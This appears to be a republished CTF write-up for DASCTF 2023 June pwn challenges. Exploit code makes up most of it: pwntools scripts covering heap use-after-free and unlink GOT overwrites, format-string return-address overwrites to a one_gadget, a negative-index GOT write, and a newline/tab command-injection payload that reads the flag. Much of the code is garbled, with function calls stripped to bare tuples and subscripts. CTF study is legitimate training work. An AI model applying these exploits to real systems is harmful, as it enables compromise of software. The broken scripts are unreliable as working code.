Location>code7788 >text

DASCTF 2023 June Challenge|Binary Specialized PWN (Up)

Popularity:324 ℃/2024-07-22 15:12:04

DASCTF 2023 June Challenge|Binary Specialized PWN (top)

The edit function has no check on length

UAF vulnerability in free function

Ideas: 1. By heap overflow, UAF, modify size bit to reach heap block overlap, use fastbin attack, write __malloc_hook,to one_gadget

2. Modify the free got table to system via unlink.

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./easynote')
#libc = ELF('/home/su/PWN/BUUCTF/Jqfx/EJZ/glibc-all-in-one/libs/2.23-0ubuntu11_amd64/libc-2.')
#io=remote('',29421)
libc = ELF('./libc-2.')


def add(size,msg):
    ('5. exit','1')
    ('content --->',str(size))
    ('Content --->',msg)


def edit(index,size,msg):
    ('5. exit','2')
    ('Index --->',str(index))
    ('content --->',str(size))
    ('Content --->',msg)



def free(index):
    ('5. exit','3')
    ('Index --->',str(index))


def show(index):
    ('5. exit','4')
    ('Index --->',str(index))


fd = 0x6020C0 -0x18
bk = 0x6020C0 -0x10

add(0x88,'aaaa')
add(0x88,'dddd')

add(0x80,'cccc')
add(0x50,'/bin/sh\x00')
#(io)
free(2)
show(2)
('Content: ')
libc_base = u64((6).ljust(8,b'\x00')) - 0x68 -['__malloc_hook']
system = libc_base + ['system']

success('libc_base--->'+hex(libc_base))
payload = p64(0) + p64(0x81) + p64(fd) + p64(bk) + b'a'*0x60 + p64(0x80) + p64(0x90)
edit(0,len(payload),payload)
free(1)
(io)
payload = b'a'*0x20 + p64(0x602018)
edit(0,len(payload),payload)

edit(1,8,p64(system))

free(3)



()

Non-stack formatting string vulnerability, leaking address, you can change the number of loops to achieve infinite loop, and finally change the return address to one_gadget, you can

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./fooooood')
libc = ELF('./.6')
elf = ELF('./fooooood')

success('puts--->'+hex(['puts']))
success('sys---->'+hex(['system']))
#(io)
('name:','susu')

(' favourite food:')
payload = b'%9$pa%11$pb%13$p'
(payload)
('You like')
libc_base = int((15),16) - 240 - ['__libc_start_main']
success('libc_base---->'+hex(libc_base))
('a')
stack_addr = int((14),16) - 0xd0
success('stack_addr---->'+hex(stack_addr))
('b')
elf_base = int((14),16) - ['main']
success('elf_base----->'+hex(elf_base))
#(io)
count = stack_addr - 0x28
count1 = count & 0xffff
pop_rdi = libc_base + 0x0000000000021112 #: pop rdi ; ret
 
system = libc_base + ['system']
binsh = libc_base + ('/bin/sh').__next__()
one = libc_base + 0xf1247
payload = b'%'+str(count1+4).encode('utf-8') + b'c%11$hn'
(' favourite food:')
(payload)
(' favourite food:')
payload = b'%'+str(0x5).encode('utf-8')+b'c%37$hhn'
(payload)
#(' favourite food:')
ret = stack_addr -0x10
ret1 = ret & 0xffff
payload =  b'%'+str(ret1).encode('utf-8') + b'c%11$hn'
(payload)
(' favourite food:')
success('pop_rdi---->'+hex(pop_rdi))
payload = payload = b'%'+str(one & 0xffff).encode('utf-8')+b'c%37$hn'
#(io)
(payload)
(' favourite food:')
payload = b'%'+str(ret1+2).encode('utf-8')+b'c%11$hn'
(payload)

(' favourite food:')
payload = b'%'+str((one >> 16) & 0xffff).encode('utf-8') + b'c%37$hn'
#(io)
(payload)

#addr = stack_addr - 8
#addr1  = addr & 0xffff

#(' favourite food:')
#payload = payload =  b'%'+str(addr1).encode('utf-8') + b'c%11$hn'
#(io)
#(payload)

#(' favourite food:')
#payload = b'%'+str(system & 0xffff).encode('utf-8') + b'c%37$hn'
#(payload)

#(' favourite food:')
#payload = payload =  b'%'+str(addr1 + 2).encode('utf-8') + b'c%11$hn'
#(payload)
#(' favourite food:')
#payload = b'%'+str(system >> 16 & 0xffff).encode('utf-8') + b'c%37$hn'
#(io)
#(payload)



()

3.Candy_Shop

Here there is no check on the input v1, you can enter a negative number and modify it to the got table

Leak libc address by formatting string

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./Candy_Shop')
libc = ELF('./Candy_Shop.so.6')

success('puts---->'+hex(['puts']))


def eat():
    ('option: ','e')



def buy(offest,payload):
     ('option: ','b')
     ('want to bye:','t')
     ('the candy in?',offest)
     ('name!',payload)



def gift(payload):
     ('option: ','g')
     ('your name:',payload)



#(io)

payload = '%3$p'
gift(payload)
('a gift:')
libc_base = int((14),16) - 23 - ['write']
success('libc_base---->'+hex(libc_base))

system = libc_base + ['system']

buy('-10',b'a'*6+p64(system))

#gift('/bin/sh\x00')

('g')
('/bin/sh')

()

Directory traversal can be achieved here by filling 0x20 bytes, a file that exists such as /flag

Filtered.

But there is no filtering \n and \t, by \n splitting the command, \t instead of space to read the flag

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')


#io = process('./server')
io = remote('',27810)


('choice >>','1')
('Please input the key of admin :',b'..///////////////////bin/sh')


#pause()

#sleep(2)
('choice >>','2')
('username to add')
("66cat\tfl*\n")
('choice >>','2')
('username to add')
("'\n")
()

A virtual machine topic

There is a backdoor that decodes the input characters for the corresponding function

Modified to backdoor by offsetting to the last bit of the return address

exp:

from pwn import *
context(log_level='debug',arch='amd64',os='linux')

io = process('./bf')

('choice:')
('1')
('size:',str(0x300))

('choice:')
('2')
('iiiiyy')

('choice:')
('3')


('choice:')
('4')
(io)
('\xe0')

()

There are three more courses detailed in the next post ......